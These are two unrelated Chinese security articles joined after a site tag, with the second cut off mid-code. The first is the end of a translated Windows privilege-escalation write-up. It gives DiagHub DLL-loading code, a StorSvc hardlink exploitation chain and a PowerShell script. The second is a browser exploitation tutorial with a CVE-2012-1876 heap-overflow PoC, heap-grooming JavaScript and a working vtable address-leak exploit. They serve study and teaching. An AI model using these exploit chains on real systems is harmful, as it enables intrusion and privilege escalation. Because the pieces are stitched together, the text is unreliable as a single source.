这里没有太多的信息可以帮助我们，不过我们可以发现这个接口上对应有8个方法。与其他许多COM注册信息一样，这个值也有可能是一个错误值，不过这里我们选择信任这个信息。为了理解这些方法具体是什么，我们需要跟踪COM服务器中`IStandardCollectorService`的实现方式。掌握这个信息后，我们就能集中逆向分析精力来分析正确的二进制程序以及正确的方法。对于进程内COM对象而言，想完成这个任务相对来说比较容易，因为我们可以通过dereference部分指针（即*操作）来直接查询某个对象的VTable指针。然而，对于进程外（OOP）的情况来说就比较复杂一些，这是因为我们所调用的进程内对象实际上是远程对象的代理，如下图所示：
即便如此，我们依然可以通过提取保存在服务器进程中的对象信息来查找OOP对象的VTable。在之前的界面中右键点击“Diagnostics Hub
Standard Collector Service”节点，选择 **Create Instance** ，这样可以创建COM对象的一个新实例，如下图所示：
这个实例可以告诉我们许多基本信息，比如该对象的CLSID（这里这个值为`{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}`，后面我们会用到这个值）以及支持的接口信息。现在需要确保的是我们已连接至我们感兴趣的那个接口。我们可以先选择窗口下半部分的`IStandardCollectorService`服务，然后在
**Operations** 菜单的底部，选择 **Marshal ⇒ View Properties** 。如果操作成功，我们可以看到如下界面：
这个界面包含很多信息，但最重要的两个信息是托管服务的Process ID以及IPID（Interface Pointer
Identifier）。本例中由于该服务运行在自己的进程中，因此Process
ID是显而易见的一个值，但这并不适用于所有情况：有时候当我们创建一个COM对象时，我们并不知道哪个进程在托管COM服务器，此时这个信息就非常有用。IPID是DCOM对象服务器端托管进程中的唯一标识，我们可以使用Process
ID以及IPID值来查找这个服务器，然后从中找出实现COM方法的VTable的具体位置。需要注意的是，与IPID对应的Process
ID的大小最大为16个比特，但现在Windows中可能存在更大的PID，因此我们有时候需要手动查找目标进程，或者多次重启服务，直到得到合适的PID值为止。
现在我们可以利用OVDN的一个功能，访问服务器进程的内存空间，查找对应的IPID信息。当然你可以通过主菜单的 **Object ⇒ Processes**
来获取所有进程中对应的这个信息，但我们已经知道待处理的是哪个进程，因此只需要点击上图中Process ID旁边的 **View**
按钮即可。对了，我们需要以管理员权限运行OVDN，否则无法打开服务进程。如果前面我们没有以管理员权限运行，那么此时该工具会要求我们配置符号支持（symbol
support）选项，因为OVDN需要公共符号（public symbol）来查找COM
DLL中待解析的正确位置。我们需要使用WinDBG自带的DBGHELP.DLL，因为该DLL支持远程符号服务器。符号选项的配置信息如下图所示：
如果所有选项配置正确，并且我们也以管理员权限来运行该工具，那么我们应该能够获得关于IPID的更多信息，如下图所示：
这里最有用的两条信息就是Interface指针（堆分配对象的地址，以便我们查看该对象状态）以及接口对应的VTable指针。VTable地址可以告诉我们COM服务器实现的具体位置。在上图中，我们可知VTable位于与主可执行文（DiagnosticsHub.StandardCollector.Server）不同的另一个模块中（DiagnosticsHub.StandardCollector.Runtime）。我们可以使用WinDBG
attach到服务进程上，导出VTable地址处的符号，验证这个VTable地址是否正确。前文提到过这里有8个方法，为了找到这8个方法，我们可以使用如下命令：
dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8
需要注意的是，WinDBG会将模块名中的点转化为下划线。如果这条命令执行成功，我们可以得到如下结果：
提取出这些信息后，我们就可以知道这些方法的名称（如下所示）以及方法在二进制中的具体地址。我们可以设置断点，查看正常操作期间有哪些方法被调用，或者可以根据这些信息开始我们的逆向分析之旅。
ATL::CComObject<StandardCollectorService>::QueryInterface
ATL::CComObjectCached<StandardCollectorService>::AddRef
ATL::CComObjectCached<StandardCollectorService>::Release
StandardCollectorService::CreateSession
StandardCollectorService::GetSession
StandardCollectorService::DestroySession
StandardCollectorService::DestroySessionAsync
StandardCollectorService::AddLifetimeMonitorProcessIdForSession
我们得到的方法貌似是正确的：最开头的3个方法为COM对象的标准方法，由ATL库实现，后面跟着5个方法，由`StandardCollectorService`类实现。作为公共符号，我们无法从中了解需要往COM服务器传递哪些参数。由于C++名称中包含某些类型信息，IDA
Pro有可能提取出我们所需的参数信息，但不一定能告诉我们传递给函数的任何结构体的具体格式。幸运的是，COM代理在具体实现中使用了NDR（Network
Data
Representation）解释器来对数据进行编码，我们有可能将NDR字节码还原成我们可以理解的格式。对于本文的这个案例，我们可以回到最初的服务信息窗口，右键点击
**IStandardCollectorService** 节点，选择 **View Proxy Definition**
。这样OVDN就能解析NDR代理信息，如下所示：
查看代理的定义后，我们也能解析出该代理库实现的其他任何接口，这些信息可能对我们后面的逆向分析来说有点用。经过反编译的代理定义代码类似于C#形式的伪代码，我们可以根据需要转化为能够正常工作的C#或者C++代码。需要注意的是代理定义中并不包含方法的名称，但我们之前已经提取过这些信息。因此，稍作处理后，我们就能得到如下定义代码：
[uuid("0d8af6b7-efd5-4f6d-a834-314740ab8caa")]
struct IStandardCollectorService : IUnknown {
HRESULT CreateSession(_In_ struct Struct_24* p0,
_In_ IStandardCollectorClientDelegate* p1,
_Out_ ICollectionSession** p2);
HRESULT GetSession(_In_ GUID* p0, _Out_ ICollectionSession** p1);
HRESULT DestroySession(_In_ GUID* p0);
HRESULT DestroySessionAsync(_In_ GUID* p0);
HRESULT AddLifetimeMonitorProcessIdForSession(_In_ GUID* p0, [In] int p1);
}
目前我们还缺失最后一块拼图：我们并不知道`Struct_24`结构体的具体定义。这个信息有可能通过逆向分析得到，但幸运的是这里我们不需要那么麻烦。NDR字节码知道如何编解码这个结构，因此OVDN可以自动地提取出这个结构的定义：我们可以选择
**Structures** 标签页，找到`Struct_24`即可：
在后面的逆向分析过程中，我们可以根据实际需要重复这个过程，直到解开所有谜题。现在我们准备开始利用DiagHub服务，通过一个实际可用的例子给大家演示该服务的利用方法。
## 三、利用方法
根据前面的逆向分析结果，为了从`SYSTEM32`目录中加载DLL，我们需要做如下操作：
1、使用`IStandardCollectorService::CreateSession`创建一个新的Diagnostics Session。
2、在新会话上调用`ICollectionSession::AddAgent`方法，传入待加载的DLL名称（不需要包含任何路径信息）。
`ICollectionSession::AddAgent`加载代码的简化版如下所示：
void EtwCollectionSession::AddAgent(LPWCSTR dll_path,
REFGUID guid) {
WCHAR valid_path[MAX_PATH];
if ( !GetValidAgentPath(dll_path, valid_path)) {
return E_INVALID_AGENT_PATH;
HMODULE mod = LoadLibraryExW(valid_path,
nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
dll_get_class_obj = GetProcAddress(hModule, "DllGetClassObject");
return dll_get_class_obj(guid);
}
从中可知，代码会检查agent
path是否有效，然后返回一个完整路径（这正是之前存在EoP漏洞的地方，没有经过足够的校验）。代码使用`LoadLibraryEx`加载这个路径，然后获取DLL中的`DllGetClassObject`导出函数，然后再调用这个函数。因此为了得到代码执行机会，我们只需要实现这个方法，然后将文件放入`SYSTEM32`目录即可。`DllGetClassObject`会在loader
lock之外被调用，所以基本上我们可以为所欲为。我们可以采用如下代码（移除了其中的错误处理代码）来加载名为`dummy.dll`的一个DLL文件：
IStandardCollectorService* service;
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service));
SessionConfiguration config = {};
config.version = 1;
config.monitor_pid = ::GetCurrentProcessId();
CoCreateGuid(&config.guid);
config.path = ::SysAllocString(L"C:Dummy");
ICollectionSession* session;
service->CreateSession(&config, nullptr, &session);
GUID agent_guid;
CoCreateGuid(&agent_guid);
session->AddAgent(L"dummy.dll", agent_guid);
现在我们只需要实现任意文件写入目标，将任意DLL放入`SYSTEM32`目录中，得到加载机会，提升权限。为了完成这个任务，我决定使用我在`Storage
Service`的`SvcMoveFileInheritSecurity` RPC方法中找到的一个漏洞。这个函数之所以引起我的注意，原因是[Clément
Rouault](https://twitter.com/hakril)和[Thomas
Imbert](https://twitter.com/masthoon)在[PACSEC
2017](https://pacsec.jp/psj17/PSJ2017_Rouault_Imbert_alpc_rpc_pacsec.pdf)上曾发现并演示过的一个漏洞（ALPC漏洞），漏洞利用过程中用到了这个函数。虽然这种方法的确是利用该漏洞的一条途径，但我发现其实这里潜伏着两个漏洞（至少包含普通用户权限提升漏洞）。未经修补前的`SvcMoveFileInheritSecurity`的代码如下所示：
void SvcMoveFileInheritSecurity(LPCWSTR lpExistingFileName,
LPCWSTR lpNewFileName,
DWORD dwFlags) {
PACL pAcl;
if (!RpcImpersonateClient()) {
// Move file while impersonating.
if (MoveFileEx(lpExistingFileName, lpNewFileName, dwFlags)) {
RpcRevertToSelf();
// Copy inherited DACL while not.
InitializeAcl(&pAcl, 8, ACL_REVISION);
DWORD status = SetNamedSecurityInfo(lpNewFileName, SE_FILE_OBJECT,
UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION,
nullptr, nullptr, &pAcl, nullptr);
if (status != ERROR_SUCCESS)
MoveFileEx(lpNewFileName, lpExistingFileName, dwFlags);
}
else {
// Copy file instead...
RpcRevertToSelf();
}
}
}
这个方法的功能应该是移动文件到一个新的位置，然后将继承的所有ACE（Access Control
Entry）应用于新目录中的DACL（Discretionary Access Control
List）。这对移动处于同一卷上的文件来说是有必要的，这样老的文件名链接被取消，新的文件被链接到新的位置。然而，新文件仍然将保留从原位置那分配的安全属性。继承的ACE只有在目录中创建新文件时才会应用，或者就像这种情况一样，调用`SetNamedSecurityInfo`之类的函数来显式应用ACE。
为了确保这种方法不会让以服务用户身份（这里为Local
System）运行的用户移动任意文件，需要模拟一个RPC调用者（caller）。问题就在于此，当第一次调用`MoveFileEx`时，代码会终止模拟，恢复到自己的安全标识，然后调用`SetNamedSecurityInfo`。如果调用失败，代码则会再次调用`MoveFileEx`，尝试恢复原来的文件移动操作。这里是第一个漏洞，有可能原来文件名的所处的位置现在指向了别的地方（比如通过滥用符号链接来实现这种效果）。我们很容易就能让`SetNamedSecurityInfo`调用失败，只需要在文件的ACE中，为WRITE_DAC添加针对Local
System的一个Deny ACL，这样将返回一个错误代码，导致恢复操作失败，因此我们就能拥有任意文件创建能力。这个问题已经之前已经给微软提交过（issue
[1427](https://bugs.chromium.org/p/project-zero/issues/detail?id=1427)）。
这并不是我们想利用的漏洞，因为这样没有什么挑战性。相反，我们可以利用这段代码中的第二个漏洞：当以Local
System身份运行时，我们可以让服务在任何文件上调用`SetNamedSecurityInfo`。为了做到这一点，我们可以在第一次`MoveFileEx`时，滥用模拟设备映射，重定向本地驱动器盘符（如`C:`），将`lpNewFileName`指向任意位置，或者也可以通过滥用硬链接（hard
link）来实现。这个问题之前也提交过（issue [1428](https://bugs.chromium.org/p/project-zero/issues/detail?id=1428)），我们可以通过硬链接来利用这个漏洞，如下所示：
1、创建指向`SYSTEM32`目录中我们希望覆盖的某个文件的硬链接。由于创建硬链接时，我们不需要拥有目标文件的写入权限（至少沙箱外面时适用这种情况），因此我们可以完成这个步骤。
2、创建一个新的目录，该目录具有某个组（如Everyone或者Authenticated
Users）可以继承的ACE，以允许这些组用户修改新文件。其实我们根本不需要刻意去做这件事情，比如`C:`盘根目录下创建的任何目录都具有Authenticated
Users能够继承的ACE。然后我们可以向RPC服务请求将硬链接文件移动到新的目录中。在模拟状态下，只要我们拥有原始位置的`FILE_DELETE_CHILD`访问权限，同时具有新位置的`FILE_ADD_FILE`权限，移动操作就能顺利完成，而这两个条件都是我们可控的条件。
3、服务现在会在移动后的硬链接文件上调用`SetNamedSecurityInfo`。`SetNamedSecurityInfo`会从新目录中提取继承的ACE，然后将ACE应用到硬链接的文件上。ACE之所以会应用到硬链接的文件上，原因在于从`SetNamedSecurityInfo`的视角来看，虽然原始的目标文件位于`SYSTEM32`目录中，但硬链接的文件位于新的目录中。
利用这一点，我们可以修改Local
System具备`WRITE_DAC`访问权限的任意文件的安全属性。因此我们可以修改`SYSTEM32`目录中的某个文件，然后使用DiagHub服务来加载该文件。然而这个问题并不是特别严重。`SYSTEM32`目录下文件的所有者大部分属于`TrustedInstaller`组，因此我们无法修改（即便是Local
System）。我们需要找到所有者不是TrustedInstaller且又能被我们修改的文件，同时也要保证这样不会导致系统安装被损坏。我们不用去管具体的文件扩展名，因为`AddAgent`只会检查文件是否存在，然后使用`LoadLibraryEx`来加载该文件。我们可以使用各种方法查找这类文件，比如通过SysInternals的[AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)工具，但为了百分百确认Storage
Service的token能够修改目标文件，我决定使用我的[NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager)
PowerShell模块（更确切一点是`Get-AccessibleFile`这个cmdlet，可以接受某个进程为参数来检查条件是否满足）。这个模块可以用来检查从沙箱中能够访问哪些文件，也能够用来检查特权服务能够访问哪些文件。安装该模块后，如果我们以管理员权限运行如下脚本，那么Storage
Service具备`WRITE_DAC`访问权限的文件列表将存放在`$files`变量中。
Import-Module NtObjectManager
Start-Service -Name "StorSvc"
Set-NtTokenPrivilege SeDebugPrivilege | Out-Null
$files = Use-NtObject($p = Get-NtProcess -ServiceName "StorSvc") {
Get-AccessibleFile -Win32Path C:Windowssystem32 -Recurse `
-MaxDepth 1 -FormatWin32Path -AccessRights WriteDac -CheckMode FilesOnly
}
查看这些文件后，我决定选择`license.rtf`这个文件，该文件包含Windows系统的简要许可声明。这个文件的优势在于它对操作系统而言不是特别关键，因此覆盖这个文件不大可能出现系统安装被破坏问题。
因此利用过程分为以下几步：
1、使用`Storage Service`漏洞修改`SYSTEM32`目录中`license.rtf`文件的安全属性。
2、将某个DLL覆盖`license.rtf`，该文件实现了`DllGetClassObject`方法。
3、使用DiagHub服务将经过我们修改的许可声明文件以DLL形式载入，这样我们就能以Local System身份获得代码执行机会，为所欲为。
如果你想查看完整的利用过程，我也上传了一份完整代码，大家可以访问[此处](https://bugs.chromium.org/p/project-zero/issues/detail?id=1428#c9)下载分析。
## 四、总结
在本文中，我介绍了针对Windows 10的一种漏洞利用方法，我们也可以在某些沙箱环境（如Edge
LPAC）中利用这种方法。找到这类方法后，漏洞利用过程可以更加简单，不容易出现错误。此外，本文也介绍了如何在类似的DCOM实现方法中去寻找可能存在的一些错误。 | 社区文章 |
# 浏览器漏洞：从数组越界到任意地址读写
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
在现代的操作系统中，针对内存破坏方面的漏洞，提供了一系列的阻碍措施，类似DEP、CFG以及EMET。浏览器Exploit中，通过UAF/Double
Free 乃至
堆溢出都能实现对内存的一定程度读写，但是碍于内存不可执行，浏览器利用中常常需要精确堆喷射结合ROP，前提是获取二进制文件（ELF/COFF）在内存中load的确切地址（地址泄漏）。文本暂时不讨论堆利用本身，会分别讨论两个浏览器漏洞，利用漏洞实现了OOB之后，如何在开启ASLR的情况下完成地址泄漏，帮助读者完成Exploit的最后一公里。
**Linux下检查是否开始ASLR**
ASLR 技术在 2005 年的 kernel 2.6.12 中被引入到 Linux 系统，Linux 平台上的 ASLR 分为三级，由内核参数
randomize_va_space 进行等级控制。它们对应的效果如下：
* 0：没有随机化。即关闭 ASLR。
* 1：保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
* 2：完全的随机化。在 1 的基础上，通过 brk() 分配的内存空间也将被随机化。
$ cat /proc/sys/kernel/randomize_va_space
2
需要注意的是Linux下的ASLR默认不对代码段以及数据段（data段和bss段）进行随机化，于是gcc在编译时候加-pie参数，开启PIE机制的程序会对代码段和数据段也进行随机化。不过由于PIE是编译选项，PIE是否真正的开启是基于系统的ASLR是否开启。
**Windows下检查是否开启ASLR**
Windows在vista之后是默认开启ASLR的，并且Windows的ASLR同样会对代码段和数据段进行随机化，简单来说Windows的ASLR基本等于Linux下的ASLR加PIE。
**绕过ASLR**
* 利用未启用ASLR的模块绕过这部分的研究价值不高，和没有开ASLR的难度差别不大，所以这个方案就暂时不做演示。如果要寻找哪些模块没有开启ASLR，可以使用mona插件可以的mod命令查看。常见的例子，如java6的msvcr71.dll编译时时默认不支持ASLR的，所以很多exploit都使用这个模块构造ROP链来实现攻击。
* 泄露基地址绕过ASLR是最经典的绕过技术，也是CTF中最常见的绕过技术，这个技术在2010年左右兴起，用于对抗当时已经有较大市场份额的WIN7。这也是本文会着重分析的技术，重点会在漏洞利用。例如下文案例，IE浏览器利用中通过虚函数表获取mshtml.dll的基地址构造ROP链。
* yuange的天人模式袁哥在97年就发布的DVE数据虚拟执行技术，一项技术几乎能绕过DEP+ASLR+CFG+页堆保护等多项防护技术，并且在2014年在贴吧公布了技术细节。本文作者对这个技术知之甚少，依然在探究中，希望有朝一日能够掌握该技术的原理。
本次案例的两个漏洞，产生的原因并不相同（堆溢出和数组越界），但是在地址泄漏方面的方式是相同的。通过构造如下的结构，来读取虚函数表的地址，以达到任意地址泄漏。当然后者数组越界，可以进一步实现任意地址读写，利用到方式更加多样。
**前置知识**
* **BSTR** 是一种Pascal-Style字符串（明确标示字符串长度）和C-Style字符串（以结尾）的混合物，一般用于[COM](https://zh.wikipedia.org/wiki/COM)中，是Unicode字符串，即标示字符串长度，最后还有一个值为字节。 _BSTR的存储结构_
* 字符串头 —-4字节 存储了包好字节(Byte)的个数
* 字符串内容 —-以unicode方式存储，每个字符两字节(w_char – 2byte)
* 结束符 —-结束符null, 2字节
* **QArrayData** 是QT中定义的数组结构，头部包含一个24字节的数据结构。结构体定义如下。
struct Q_CORE_EXPORT QArrayData
{
QtPrivate::RefCount ref;//引用计数
int size; //大小
uint alloc : 31; //分配的个数
uint capacityReserved : 1;//适应模式
qptrdiff offset; // in bytes from beginning of header 定位指针
void *data()
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<char *>(this) + offset;
}
const void *data() const
{
Q_ASSERT(size == 0
|| offset < 0 || size_t(offset) >= sizeof(QArrayData));
return reinterpret_cast<const char *>(this) + offset;
}
// This refers to array data mutability, not "header data" represented by
// data members in QArrayData. Shared data (array and header) must still
// follow COW principles.
bool isMutable() const
{
return alloc != 0;
}
enum AllocationOption { //5种模式 分配模式 使用shared_null[0] 使用shared_null[1] 可以增长 默认
CapacityReserved = 0x1,
#if !defined(QT_NO_UNSHARABLE_CONTAINERS)
Unsharable = 0x2,
#endif
RawData = 0x4,
Grow = 0x8,
Default = 0
};
Q_DECLARE_FLAGS(AllocationOptions, AllocationOption)
size_t detachCapacity(size_t newSize) const
{
if (capacityReserved && newSize < alloc)
return alloc;
return newSize;
}
AllocationOptions detachFlags() const
{
AllocationOptions result;
if (capacityReserved)
result |= CapacityReserved;
return result;
}
AllocationOptions cloneFlags() const
{
AllocationOptions result;
if (capacityReserved)
result |= CapacityReserved;
return result;
}
static QArrayData *allocate(size_t objectSize, size_t alignment, //分配内存返回一个适配的 QArrayData指针
size_t capacity, AllocationOptions options = Default)
Q_DECL_NOTHROW Q_REQUIRED_RESULT;
static void deallocate(QArrayData *data, size_t objectSize, //释放内存
size_t alignment) Q_DECL_NOTHROW;
static const QArrayData shared_null[2]; // 静态的全局对象两个，在分配内存时可以使用Unsharable 和 RawData来指定使用这个两个对象来管理分配的内存
static QArrayData *sharedNull() Q_DECL_NOTHROW { return const_cast<QArrayData*>(shared_null); }
};
## 从堆溢出到地址泄漏
漏洞编号: ** _CVE-2012-1876_**
程序 | 软件版本
---|---
WIN7 | SP1(x86)
IE8 | 8.0.7601.17514
CVE-2012-1876是法国安全团队Vupen在Pwn2Own2012上攻破Win7下IE9的两个漏洞之一，利用了<table>标签生成时的堆溢出漏洞，Vupen利用这个漏洞进行信息泄漏绕过ASLR并且成功攻下了IE9，其构造exploit的手法是绕过ASLR的教课书级别的利用。
**poc**
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" > </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
**漏洞产生**
漏洞利用浏览器对table对象中col标签的解析所产生的堆漏洞。
<table style="table-layout:fixed" ><col id="132" width="41" span="1" > </col></table>
漏洞函数`CTableLayout::CalculateMinMax`原型
void __thiscall CTableLayout::CalculateMinMax(
CTableLayout* theTableLayoutObj,
LPVOID lpUnknownStackBuffer )
当Table表第一次创建时，向计算机申请了`span*0x1c`（但最少为0x70）的堆空间。*
但当使用javascript修改这个对象的`span`值，程序不会申请更大的内存空间，而是会向原本只有0x70的空间写入`span*0x1c`的数据，造成堆溢出。
发生堆溢出的vulheap位于漏洞函数`CalculateMinMax`的`ebx+0x9c`位置
复制的数据来源是width的值（需要分析AdjustForCol函数），具体算法没有分析但当`width=41`，传递的值为41*100=0x1004。
**_堆溢出的完整分析可以访问我的[个人博客](https://migraine-sudo.github.io/2019/12/01/CVE-2012-1876/)_**
**如何利用**
国外著名安全组织VUPEN的对该漏洞的利用方式是通过构造一连串的padding（BSTR字符串，0x100），来申请堆空间，然后通过堆溢出来读取/修改虚函数表。
* 泄漏地址部分
通过覆写BSTR字符串的前四个字节，修改其长度，再通过javascript读取，就能读取到后方的CButtonLayout对象的虚函数表内容。而CButtonLayout的虚函数表于其模块mshtml的偏移地址是固定的，能够帮助我们泄漏Mshtml基地址。
* 利用部分
再次溢出，修改CButtonLayout表的虚函数表指针。结合HeapSpray(heap-feng-shui)和ROP绕过DEP。
**从exploit看OOB**
通过构建BSTR数组结构，实现一个OOB（地址读取）来读取虚函数表。
首先创建大量的连续内存，大小为0x100的BSTR结构。然后将EEEE填充的部分释放（通过垃圾回收函数CollectGarbage）然后创建`<table>`对象，占坑被释放的空间。col属性span=9，则会分配9*0x1c=0xfc，占坑之前被释放的0x100大小的空间。
形成上方的结构图。
<div id="evil"></div>
<script language='javascript'>
var leak_index = -1;
var dap = "EEEE";
while ( dap.length < 480 ) dap += dap;
var padding = "AAAA";
while ( padding.length < 480 ) padding += padding;
var filler = "BBBB";
while ( filler.length < 480 ) filler += filler;
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
//1.布局堆块内存
for (var i=0; i < 500; i+=2) {
// E
rra[i] = dap.substring(0, (0x100-6)/2);
// S, bstr = A
arr[i] = padding.substring(0, (0x100-6)/2);
// A, bstr = B
arr[i+1] = filler.substring(0, (0x100-6)/2);
// B
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i=200; i<500; i+=2 ) {
rra[i] = null;
CollectGarbage();
}
Math.cos(3,2)
</script>
<table style="table-layout:fixed" ><col id="1" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="2" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="3" width="41" span="9" > </col></table>
**堆布局完成之后，修改span值，发生堆溢出。**
只需要覆盖0x214的长度，就能覆盖BSTR（“BBBB”）的长度。而0x214=19*0x1c，所以将col的span参数修改为19，写入的数据正好能够覆盖到BSTR的头部。
填写的内容之前
var evil_col = document.getElementById("132");
evil_col.span = "19";
我们选择修改也就是最后一个`<table>`元素（id=132），输出log之后找到最后一个vulheap（对应id=‘132’的col元素），查看其内存空间。BSTR的头部已经被覆盖为了00010048，于是获得一个越界读取的能力。
[溢出后]vulheap
0:016> dc 005258c0 L100
005258c0 00001004 00001004 00001004 00000000 ................ <--vulheap
005258d0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005258e0 00001004 00001004 00000000 00450045 ............E.E.
005258f0 00450041 00010048 00001004 00001004 A.E.H...........
00525900 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525910 00010048 00001004 00001004 00001004 H...............
00525920 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
00525930 00001004 00001004 00001004 00000000 ................
00525940 00450045 00450041 00010048 00001004 E.E.A.E.H.......
00525950 00001004 00001004 00000000 00450045 ............E.E.
00525960 00450041 00010048 00001004 00001004 A.E.H...........
00525970 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525980 00010048 00001004 00001004 00001004 H...............
00525990 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
005259a0 00001004 00001004 00001004 00000000 ................
005259b0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005259c0 00001004 00001004 000000fa 00410041 ............A.A.
005259d0 00410041 00010048 00001004 00001004 A.A.H...........
005259e0 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
005259f0 00010048 00001004 00001004 00001004 H...............
00525a00 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a10 00001004 00001004 00001004 00410041 ............A.A.
00525a20 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525a30 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525a40 00410041 00010048 00001004 00001004 A.A.H...........
00525a50 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
00525a60 00010048 00001004 00001004 00001004 H...............
00525a70 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a80 00001004 00001004 00001004 00410041 ............A.A.
00525a90 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525aa0 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525ab0 00410041 00010048 00001004 00001004 A.A.H...........
00525ac0 00001004 00000041 3ae939d2 88000000 ....A....9.:....
00525ad0 00010048<--length 00420042 00420042 00420042 H...B.B.B.B.B.B. <--BSTR
00525ae0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525af0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b00 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b10 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b20 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b30 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b40 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b50 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b60 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b70 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b80 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b90 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525ba0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bb0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bc0 00420042 00420042 00420042 00000042 B.B.B.B.B.B.B...
00525bd0 3ae939f1 8c000000 6b7c84f8 004dff88<--vrftable .9.:......|k..M.
00525be0 04fefb30 6b7c8690 <--vrftable 00000001 00000000 0.....|k........
00525bf0 01080809 ffffffff 00000000 00000000 ................
00525c00 00000000 ffffffff 00000080 ffffffff ................
使用如下代码将虚函数表地址提取出来，根据偏移地址001584f8计算出mshtml基地址为0x6b670000。到这里，我们已经完成了地址泄漏，接下来只需要注意使用mshtml自身对gadgets，那么ASLR对我们也就形同虚设了。
地址泄漏之后，通过覆盖虚函数表，需要结合HeapSpray和ROP等技术，大体内容与上一个案例相差无几。不再赘述了。
精确堆喷射->将rop和shellcode喷射到可控位置
覆盖虚函数表->将程序导入rop链中->stack povit将栈帧转移到堆中->ROP->PWN
因为我国的网络安全法的试行条例，完整的Exploit就不放出了。不过这个Exploit写出来稳定性还是非常高的，笔者也凭借该漏洞展示，混过了一次课堂作品展示。
泄露地址的exp
<script language='javascript'>
Math.sin(2,1)
var evil_col = document.getElementById("132");
//var evil_col = document.getElementById("1");
evil_col.span = "19";
var leak_addr=-1;
for(var i = 0;i<500;i++){
//提取虚函数表地址
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert(leak_addr.toString(16));
leak_addr=leak_addr-Number(0x001584f8);
alert(leak_addr.toString(16));
break;
}
}
</script>
**Q:**
** _肯定有读者有疑问，为什么要创建那么多table对象，而不只使用一个对象，然后溢出获得虚函数表。_**
**A:**
**
_这个问题笔者也做了一个实验，在WIN7+IE8环境下，将`<table>`只保留第一个，让js对该对象进行修改，将这个exp精简得非常短小，居然也能有非常高的成功率。
应该是因为这是笔者的实验环境是IE8，而当时PWN2OWN的环境是IE9，其内存保护机制更为复杂，所以采用了较大数量的`<table>`保证成功率。_**
## 数组越界到任意地址读取
题目来源:BPK CTF –[qwn2own](https://github.com/migraine-sudo/PWN-/raw/master/%E5%AE%9E%E4%BE%8BPNW%E9%A2%98/3.HEAP/qwn2own.tar)
上一章节的IE漏洞，我们通过泄漏虚函数表绕过了ASLR，而并没有实现一个任意地址读取。本章节将讲解如何利用数组越界来进行一个真正意义上的任意地址读写。
漏洞存在于JS引擎的扩展，JS引擎则是webkit自带的`javascriptcore`。题目的所有防护机制都是开启的。
通过访问题目提供的example.html和API文档来快速熟悉代码。当使用BKPDataBase创建数据存储，会返回一个BKInstancec对象。BKPInstance对象可以创建一个包含数组（QVector）的对象（QBJECT）BKPStore，该对象可以创建一个拥有对其存储数据的操作权。
### 数组越界
程序的BKPStore对象定义
class BKPStore : public QObject {
Q_OBJECT
public:
BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0);
void StoreData(QVariant v);
Q_INVOKABLE QVariant getall();
Q_INVOKABLE QVariant get(int idx);
Q_INVOKABLE int insert(unsigned int idx, QVariant var);
Q_INVOKABLE int append(QVariant var);
Q_INVOKABLE void remove(int idx);
Q_INVOKABLE void cut(int beg, int end);
Q_INVOKABLE int size();
private:
quint8 type; // specifies which type to of vector
// to use
QVector<QVariant> varvect;
QVector<qulonglong> intvect;
QVector<QString> strvect;
qulonglong store_ping;
};
由于BKPStore的remove操作没有对输入参数进行限制，使用-1参数会导致erase函数对数组结构本身造成破坏，引发一个任意地址R/W漏洞。
void BKPStore::remove(int idx){
if(this->type == 0){
this->varvect.erase(this->varvect.begin() + idx);
}else if(this->type == 1){
this->intvect.erase(this->intvect.begin() + idx);
